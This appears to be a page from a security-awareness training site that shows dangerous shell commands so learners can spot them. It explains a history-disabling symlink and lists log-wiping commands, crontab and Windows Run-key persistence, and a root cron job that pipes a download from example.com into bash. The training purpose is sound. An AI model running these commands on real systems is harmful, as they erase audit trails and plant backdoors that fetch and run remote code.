Dangerous
ln -sf /dev/null ~/.bash_historylinux · bash · Intermediate
Points the shell history file at the null device so every future command is discarded as it is written. It looks like tidy housekeeping and survives reboots, which makes it a durable way to stay unlogged.
Signals to notice
- History permanently redirected to /dev/null
- Persists across sessions
- Disguised as a harmless symlink
Think you can spot these under time pressure?
Start TrainingMore Persistence
truncate -s 0 /var/log/auth.logIntermediatehistory -c && export HISTFILE=/dev/nullIntermediateecho '* * * * * /tmp/.update' | crontab -IntermediateNew-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name Updater -Value 'C:\Users\Public\svc.exe'Advancedecho '*/5 * * * * root curl -s https://example.com/c | bash' | sudo tee -a /etc/cron.d/syncExpert:> /var/log/syslogAdvanced